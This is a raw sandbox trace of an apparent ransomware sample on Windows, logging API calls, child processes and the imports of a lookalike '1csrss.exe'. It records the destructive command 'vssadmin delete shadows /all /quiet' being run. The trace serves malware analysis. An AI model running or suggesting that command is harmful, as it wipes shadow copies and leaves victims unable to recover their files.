0x409 [0285.634] GetProcessHeap () returned 0x1e06dd10000 [0285.635] RtlFreeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, BaseAddress=0x1e06dd29280) returned 1 [0285.635] GetProcessHeap () returned 0x1e06dd10000 [0285.635] RtlFreeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, BaseAddress=0x1e06dd290b0) returned 1 [0285.635] GetProcessHeap () returned 0x1e06dd10000 [0285.635] RtlFreeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, BaseAddress=0x1e06dd16ca0) returned 1 [0285.635] GetProcessHeap () returned 0x1e06dd10000 [0285.635] RtlFreeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, BaseAddress=0x1e06dd2ac20) returned 1 [0285.635] GetProcessHeap () returned 0x1e06dd10000 [0285.635] RtlFreeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, BaseAddress=0x1e06dd16c30) returned 1 [0285.635] GetProcessHeap () returned 0x1e06dd10000 [0285.635] RtlFreeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, BaseAddress=0x1e06dd190c0) returned 1 [0285.635] GetProcessHeap () returned 0x1e06dd10000 [0285.635] RtlFreeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, BaseAddress=0x1e06dd184e0) returned 1 [0285.635] GetProcessHeap () returned 0x1e06dd10000 [0285.635] RtlFreeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, BaseAddress=0x1e06dd18250) returned 1 [0285.635] GetProcessHeap () returned 0x1e06dd10000 [0285.635] RtlFreeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, BaseAddress=0x1e06dd18420) returned 1 [0285.635] _vsnwprintf (in: _Buffer=0x7ff790a87f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x76e48ff3d8 | out: _Buffer="\r\n") returned 2 [0285.635] _get_osfhandle (_FileHandle=1) returned 0x254 [0285.635] GetFileType (hFile=0x254) returned 0x3 [0285.635] _get_osfhandle (_FileHandle=1) returned 0x254 [0285.635] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0285.635] WriteFile (in: hFile=0x254, lpBuffer=0x7ff790a79970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x76e48ff3a8, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesWritten=0x76e48ff3a8*=0x2, lpOverlapped=0x0) returned 1 [0285.635] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff790a7bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0285.635] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1e06de10080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0285.635] _vsnwprintf (in: _Buffer=0x1e06de20060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x76e48ff3e8 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0285.635] _vsnwprintf (in: _Buffer=0x1e06de20086, _BufferCount=0x83d2, _Format="%c", _ArgList=0x76e48ff3e8 | out: _Buffer=">") returned 1 [0285.635] _get_osfhandle (_FileHandle=1) returned 0x254 [0285.635] GetFileType (hFile=0x254) returned 0x3 [0285.635] _get_osfhandle (_FileHandle=1) returned 0x254 [0285.635] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0285.635] WriteFile (in: hFile=0x254, lpBuffer=0x7ff790a79970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x76e48ff3d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesWritten=0x76e48ff3d8*=0x14, lpOverlapped=0x0) returned 1 [0285.635] _get_osfhandle (_FileHandle=0) returned 0x248 [0285.635] GetFileType (hFile=0x248) returned 0x3 [0285.636] _get_osfhandle (_FileHandle=0) returned 0x248 [0285.636] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0285.636] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0285.636] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c30, cchWideChar=1 | out: lpWideCharStr="Essadmin delete shadows /all /quiet\n") returned 1 [0285.636] _get_osfhandle (_FileHandle=0) returned 0x248 [0285.636] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0285.636] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0285.636] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c32, cchWideChar=1 | out: lpWideCharStr="xsadmin delete shadows /all /quiet\n") returned 1 [0285.636] _get_osfhandle (_FileHandle=0) returned 0x248 [0285.636] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0285.636] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0285.636] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c34, cchWideChar=1 | out: lpWideCharStr="iadmin delete shadows /all /quiet\n") returned 1 [0285.636] _get_osfhandle (_FileHandle=0) returned 0x248 [0285.636] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0285.636] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0285.636] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c36, cchWideChar=1 | out: lpWideCharStr="tdmin delete shadows /all /quiet\n") returned 1 [0285.636] _get_osfhandle (_FileHandle=0) returned 0x248 [0285.636] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0285.636] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0285.636] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c38, cchWideChar=1 | out: lpWideCharStr="\nmin delete shadows /all /quiet\n") returned 1 [0285.636] _get_osfhandle (_FileHandle=0) returned 0x248 [0285.636] GetFileType (hFile=0x248) returned 0x3 [0285.636] _get_osfhandle (_FileHandle=0) returned 0x248 [0285.636] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0285.636] _get_osfhandle (_FileHandle=1) returned 0x254 [0285.636] GetFileType (hFile=0x254) returned 0x3 [0285.636] _get_osfhandle (_FileHandle=1) returned 0x254 [0285.636] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="Exit\n", cchWideChar=-1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Exit\n", lpUsedDefaultChar=0x0) returned 6 [0285.636] WriteFile (in: hFile=0x254, lpBuffer=0x7ff790a79970*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x76e48ff6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesWritten=0x76e48ff6d8*=0x5, lpOverlapped=0x0) returned 1 [0285.636] GetProcessHeap () returned 0x1e06dd10000 [0285.637] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0x4012) returned 0x1e06dd190c0 [0285.637] GetProcessHeap () returned 0x1e06dd10000 [0285.637] RtlFreeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, BaseAddress=0x1e06dd190c0) returned 1 [0285.637] _wcsicmp (_String1="Exit", _String2=")") returned 60 [0285.637] _wcsicmp (_String1="FOR", _String2="Exit") returned 1 [0285.637] _wcsicmp (_String1="FOR/?", _String2="Exit") returned 1 [0285.637] _wcsicmp (_String1="IF", _String2="Exit") returned 4 [0285.637] _wcsicmp (_String1="IF/?", _String2="Exit") returned 4 [0285.637] _wcsicmp (_String1="REM", _String2="Exit") returned 13 [0285.637] _wcsicmp (_String1="REM/?", _String2="Exit") returned 13 [0285.637] GetProcessHeap () returned 0x1e06dd10000 [0285.637] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0xb0) returned 0x1e06dd10730 [0285.637] GetProcessHeap () returned 0x1e06dd10000 [0285.637] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0x1a) returned 0x1e06dd18250 [0285.638] GetConsoleOutputCP () returned 0x4e3 [0285.638] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff790a7fbb0 | out: lpCPInfo=0x7ff790a7fbb0) returned 1 [0285.638] SetThreadUILanguage (LangId=0x0) returned 0x409 [0285.639] GetConsoleTitleW (in: lpConsoleTitle=0x76e48ff520, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0285.640] malloc (_Size=0xffce) returned 0x1e06de30840 [0285.640] ??_V@YAXPEAX@Z () returned 0x1e06de30840 [0285.640] malloc (_Size=0xffce) returned 0x1e06de40820 [0285.640] ??_V@YAXPEAX@Z () returned 0x1e06de40820 [0285.640] _wcsicmp (_String1="Exit", _String2="DIR") returned 1 [0285.640] _wcsicmp (_String1="Exit", _String2="ERASE") returned 6 [0285.640] _wcsicmp (_String1="Exit", _String2="DEL") returned 1 [0285.640] _wcsicmp (_String1="Exit", _String2="TYPE") returned -15 [0285.640] _wcsicmp (_String1="Exit", _String2="COPY") returned 2 [0285.640] _wcsicmp (_String1="Exit", _String2="CD") returned 2 [0285.640] _wcsicmp (_String1="Exit", _String2="CHDIR") returned 2 [0285.640] _wcsicmp (_String1="Exit", _String2="RENAME") returned -13 [0285.640] _wcsicmp (_String1="Exit", _String2="REN") returned -13 [0285.640] _wcsicmp (_String1="Exit", _String2="ECHO") returned 21 [0285.640] _wcsicmp (_String1="Exit", _String2="SET") returned -14 [0285.640] _wcsicmp (_String1="Exit", _String2="PAUSE") returned -11 [0285.640] _wcsicmp (_String1="Exit", _String2="DATE") returned 1 [0285.640] _wcsicmp (_String1="Exit", _String2="TIME") returned -15 [0285.640] _wcsicmp (_String1="Exit", _String2="PROMPT") returned -11 [0285.640] _wcsicmp (_String1="Exit", _String2="MD") returned -8 [0285.640] _wcsicmp (_String1="Exit", _String2="MKDIR") returned -8 [0285.640] _wcsicmp (_String1="Exit", _String2="RD") returned -13 [0285.640] _wcsicmp (_String1="Exit", _String2="RMDIR") returned -13 [0285.640] _wcsicmp (_String1="Exit", _String2="PATH") returned -11 [0285.640] _wcsicmp (_String1="Exit", _String2="GOTO") returned -2 [0285.640] _wcsicmp (_String1="Exit", _String2="SHIFT") returned -14 [0285.640] _wcsicmp (_String1="Exit", _String2="CLS") returned 2 [0285.640] _wcsicmp (_String1="Exit", _String2="CALL") returned 2 [0285.640] _wcsicmp (_String1="Exit", _String2="VERIFY") returned -17 [0285.640] _wcsicmp (_String1="Exit", _String2="VER") returned -17 [0285.640] _wcsicmp (_String1="Exit", _String2="VOL") returned -17 [0285.640] _wcsicmp (_String1="Exit", _String2="EXIT") returned 0 [0285.640] ??_V@YAXPEAX@Z () returned 0x1 [0285.640] GetProcessHeap () returned 0x1e06dd10000 [0285.640] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0x14) returned 0x1e06dd16ff0 [0285.640] GetProcessHeap () returned 0x1e06dd10000 [0285.640] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0x1a) returned 0x1e06dd107f0 [0285.640] GetProcessHeap () returned 0x1e06dd10000 [0285.640] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0x21c) returned 0x1e06dd16c30 [0285.640] GetConsoleTitleW (in: lpConsoleTitle=0x1e06dd16c40, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0285.641] GetProcessHeap () returned 0x1e06dd10000 [0285.641] RtlReAllocateHeap (Heap=0x1e06dd10000, Flags=0x0, Ptr=0x1e06dd16c30, Size=0x64) returned 0x1e06dd16c30 [0285.641] GetProcessHeap () returned 0x1e06dd10000 [0285.641] RtlSizeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, MemoryPointer=0x1e06dd16c30) returned 0x64 [0285.641] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe - Exit") returned 1 [0285.642] GetProcessHeap () returned 0x1e06dd10000 [0285.642] RtlFreeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, BaseAddress=0x1e06dd16c30) returned 1 [0285.642] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0285.643] exit (_Code=2) Thread: id = 63 os_tid = 0xee4 Process: id = "10" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0xb1da000" os_pid = "0xe9c" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0xe78" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001b334" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 47 os_tid = 0xea0 Thread: id = 48 os_tid = 0xea4 Thread: id = 50 os_tid = 0xeb0 Thread: id = 56 os_tid = 0xec8 Thread: id = 57 os_tid = 0xecc Process: id = "11" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x465de000" os_pid = "0xef8" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0xe78" cmd_line = "mode con cp select=1251" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001b334" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 64 os_tid = 0xefc Thread: id = 66 os_tid = 0xf04 Thread: id = 67 os_tid = 0xf08 Process: id = "12" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x2fd91000" os_pid = "0xf24" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0xe78" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001b334" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 73 os_tid = 0xf28 Thread: id = 74 os_tid = 0xf2c Thread: id = 75 os_tid = 0xf34 Thread: id = 76 os_tid = 0xf38 Thread: id = 77 os_tid = 0xf3c Process: id = "13" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x4b937000" os_pid = "0x528" os_integrity_level = "0x4000" os_privileges = "0x260814080" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0xd88" cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k appmodel" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EntAppSvc" [0xa], "NT SERVICE\\StateRepository" [0xe], "NT SERVICE\\tiledatamodelsvc" [0xa], "NT SERVICE\\WalletService" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e13e" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 78 os_tid = 0x9e0 Thread: id = 79 os_tid = 0x9dc Thread: id = 80 os_tid = 0x9d8 Thread: id = 81 os_tid = 0x750 Thread: id = 82 os_tid = 0x72c Thread: id = 83 os_tid = 0x690 Thread: id = 84 os_tid = 0x68c Thread: id = 85 os_tid = 0x684 Thread: id = 86 os_tid = 0x52c Process: id = "14" image_name = "1csrss.exe" filename = "c:\\windows\\system32\\1csrss.exe" page_root = "0x39f23000" os_pid = "0xc50" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xd88" cmd_line = "\"C:\\Windows\\System32\\1csrss.exe\" -a" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001b334" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 87 os_tid = 0xc64 [0317.154] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x77740000 [0317.154] GetProcAddress (hModule=0x77740000, lpProcName="GetProcAddress") returned 0x777551b0 [0317.154] GetProcAddress (hModule=0x77740000, lpProcName="GetModuleHandleW") returned 0x777550d0 [0317.154] GetProcAddress (hModule=0x77740000, lpProcName="FindNextFileW") returned 0x777aee40 [0317.154] GetProcAddress (hModule=0x77740000, lpProcName="FindClose") returned 0x777aed70 [0317.154] GetProcAddress (hModule=0x77740000, lpProcName="MoveFileW") returned 0x7778e500 [0317.154] GetProcAddress (hModule=0x77740000, lpProcName="GetFileSizeEx") returned 0x777aef40 [0317.154] GetProcAddress (hModule=0x77740000, lpProcName="GetModuleFileNameW") returned 0x77755090 [0317.154] GetProcAddress (hModule=0x77740000, lpProcName="GetFileAttributesW") returned 0x777aef10 [0317.154] GetProcAddress (hModule=0x77740000, lpProcName="ExitProcess") returned 0x77753cb0 [0317.154] GetProcAddress (hModule=0x77740000, lpProcName="GetCommandLineW") returned 0x77754cc0 [0317.154] GetProcAddress (hModule=0x77740000, lpProcName="GetComputerNameW") returned 0x777832c0 [0317.154] GetProcAddress (hModule=0x77740000, lpProcName="GetComputerNameA") returned 0x77783780 [0317.154] GetProcAddress (hModule=0x77740000, lpProcName="CreateMutexW") returned 0x777aeb70 [0317.154] GetProcAddress (hModule=0x77740000, lpProcName="lstrlenW") returned 0x77756c70 [0317.154] GetProcAddress (hModule=0x77740000, lpProcName="lstrlenA") returned 0x77756c50 [0317.154] GetProcAddress (hModule=0x77740000, lpProcName="GetCurrentProcess") returned 0x777aea10 [0317.154] GetProcAddress (hModule=0x77740000, lpProcName="WaitForSingleObject") returned 0x777aeca0 [0317.154] GetProcAddress (hModule=0x77740000, lpProcName="GetLogicalDrives") returned 0x77750d20 [0317.154] GetProcAddress (hModule=0x77740000, lpProcName="GetTickCount") returned 0x777add50 [0317.155] GetProcAddress (hModule=0x77740000, lpProcName="DeleteFileW") returned 0x777aed40 [0317.155] GetProcAddress (hModule=0x77740000, lpProcName="WideCharToMultiByte") returned 0x77756b10 [0317.155] GetProcAddress (hModule=0x77740000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x777aebb0 [0317.155] GetProcAddress (hModule=0x77740000, lpProcName="Sleep") returned 0x77756760 [0317.155] GetProcAddress (hModule=0x77740000, lpProcName="LeaveCriticalSection") returned 0x77cbb250 [0317.155] GetProcAddress (hModule=0x77740000, lpProcName="ReadFile") returned 0x777af090 [0317.155] GetProcAddress (hModule=0x77740000, lpProcName="CreateFileW") returned 0x777aed10 [0317.155] GetProcAddress (hModule=0x77740000, lpProcName="OpenMutexW") returned 0x777aebf0 [0317.155] GetProcAddress (hModule=0x77740000, lpProcName="EnterCriticalSection") returned 0x77cbb2d0 [0317.155] GetProcAddress (hModule=0x77740000, lpProcName="WaitForMultipleObjects") returned 0x777aec80 [0317.155] GetProcAddress (hModule=0x77740000, lpProcName="lstrcmpiW") returned 0x77756bf0 [0317.155] GetProcAddress (hModule=0x77740000, lpProcName="lstrcmpiA") returned 0x77756bd0 [0317.155] GetProcAddress (hModule=0x77740000, lpProcName="DeleteCriticalSection") returned 0x77c9fb90 [0317.155] GetProcAddress (hModule=0x77740000, lpProcName="ReleaseMutex") returned 0x777aec20 [0317.155] GetProcAddress (hModule=0x77740000, lpProcName="CloseHandle") returned 0x777aeab0 [0317.155] GetProcAddress (hModule=0x77740000, lpProcName="GetVersion") returned 0x777556c0 [0317.155] GetProcAddress (hModule=0x77740000, lpProcName="CreateThread") returned 0x777546b0 [0317.155] GetProcAddress (hModule=0x77740000, lpProcName="ExpandEnvironmentStringsW") returned 0x77754a40 [0317.155] GetProcAddress (hModule=0x77740000, lpProcName="QueryPerformanceCounter") returned 0x77755da0 [0317.155] GetProcAddress (hModule=0x77740000, lpProcName="QueryPerformanceFrequency") returned 0x77755dc0 [0317.155] GetProcAddress (hModule=0x77740000, lpProcName="GetCurrentProcessId") returned 0x777aea20 [0317.155] GetProcAddress (hModule=0x77740000, lpProcName="SetFileAttributesW") returned 0x777af100 [0317.155] GetProcAddress (hModule=0x77740000, lpProcName="GetVolumeInformationW") returned 0x777af020 [0317.155] GetProcAddress (hModule=0x77740000, lpProcName="WriteFile") returned 0x777af180 [0317.156] GetProcAddress (hModule=0x77740000, lpProcName="SetFilePointerEx") returned 0x777af130 [0317.156] GetProcAddress (hModule=0x77740000, lpProcName="SetEndOfFile") returned 0x777af0e0 [0317.156] GetProcAddress (hModule=0x77740000, lpProcName="FindFirstFileW") returned 0x777aedf0 [0317.156] GetProcAddress (hModule=0x77740000, lpProcName="GetProcessHeap") returned 0x777551f0 [0317.156] GetProcAddress (hModule=0x77740000, lpProcName="HeapReAlloc") returned 0x77caf630 [0317.156] GetProcAddress (hModule=0x77740000, lpProcName="HeapAlloc") returned 0x77cb2dc0 [0317.156] GetProcAddress (hModule=0x77740000, lpProcName="HeapFree") returned 0x777557f0 [0317.156] GetProcAddress (hModule=0x77740000, lpProcName="CreatePipe") returned 0x77754590 [0317.156] GetProcAddress (hModule=0x77740000, lpProcName="SetHandleInformation") returned 0x777aeae0 [0317.156] GetProcAddress (hModule=0x77740000, lpProcName="CreateProcessW") returned 0x77754610 [0317.156] GetProcAddress (hModule=0x77740000, lpProcName="CompareStringW") returned 0x77754430 [0317.156] GetProcAddress (hModule=0x77740000, lpProcName="CompareStringA") returned 0x77754410 [0317.156] GetProcAddress (hModule=0x77740000, lpProcName="OpenProcess") returned 0x77755cc0 [0317.156] GetProcAddress (hModule=0x77740000, lpProcName="TerminateProcess") returned 0x777567e0 [0317.156] GetProcAddress (hModule=0x77740000, lpProcName="GetSystemTime") returned 0x777554e0 [0317.156] GetProcAddress (hModule=0x77740000, lpProcName="SystemTimeToFileTime") returned 0x777567a0 [0317.156] GetProcAddress (hModule=0x77740000, lpProcName="GetLastError") returned 0x77755010 [0317.156] GetProcAddress (hModule=0x77740000, lpProcName="CreateToolhelp32Snapshot") returned 0x7778edc0 [0317.156] GetProcAddress (hModule=0x77740000, lpProcName="Process32NextW") returned 0x7778f8f0 [0317.157] GetProcAddress (hModule=0x77740000, lpProcName="Process32FirstW") returned 0x7778f750 [0317.157] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x773f0000 [0317.170] GetProcAddress (hModule=0x773f0000, lpProcName="RegOpenKeyExW") returned 0x7740e580 [0317.170] GetProcAddress (hModule=0x773f0000, lpProcName="RegQueryValueExW") returned 0x7740e5a0 [0317.170] GetProcAddress (hModule=0x773f0000, lpProcName="RegSetValueExW") returned 0x7740f530 [0317.170] GetProcAddress (hModule=0x773f0000, lpProcName="RegCloseKey") returned 0x7740ed60 [0317.170] GetProcAddress (hModule=0x773f0000, lpProcName="OpenProcessToken") returned 0x7740efb0 [0317.170] GetProcAddress (hModule=0x773f0000, lpProcName="GetTokenInformation") returned 0x7740ee90 [0317.170] GetProcAddress (hModule=0x773f0000, lpProcName="OpenSCManagerW") returned 0x77410540 [0317.170] GetProcAddress (hModule=0x773f0000, lpProcName="OpenServiceW") returned 0x7740fa20 [0317.170] GetProcAddress (hModule=0x773f0000, lpProcName="CloseServiceHandle") returned 0x7740fc00 [0317.170] GetProcAddress (hModule=0x773f0000, lpProcName="ControlService") returned 0x774226d0 [0317.170] GetProcAddress (hModule=0x773f0000, lpProcName="QueryServiceStatus") returned 0x77412380 [0317.170] GetProcAddress (hModule=0x773f0000, lpProcName="EnumDependentServicesW") returned 0x77422f70 [0317.171] GetProcAddress (hModule=0x773f0000, lpProcName="EnumServicesStatusExW") returned 0x7740fc80 [0317.171] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76360000 [0317.518] GetProcAddress (hModule=0x76360000, lpProcName="SystemParametersInfoW") returned 0x7638f210 [0317.518] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75010000 [0317.539] GetProcAddress (hModule=0x75010000, lpProcName="ShellExecuteExW") returned 0x75174730 [0317.539] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77c70000 [0317.539] GetProcAddress (hModule=0x77c70000, lpProcName="NtQuerySystemInformation") returned 0x77ce2070 [0317.539] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74670000 [0317.542] GetProcAddress (hModule=0x74670000, lpProcName="WNetCloseEnum") returned 0x74672640 [0317.542] GetProcAddress (hModule=0x74670000, lpProcName="WNetOpenEnumW") returned 0x74672790 [0317.542] GetProcAddress (hModule=0x74670000, lpProcName="WNetEnumResourceW") returned 0x74672410 [0317.542] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x77940000 [0317.544] GetProcAddress (hModule=0x77940000, lpProcName="WSAStartup") returned 0x77945b40 [0317.544] GetProcAddress (hModule=0x77940000, lpProcName="socket") returned 0x77954510 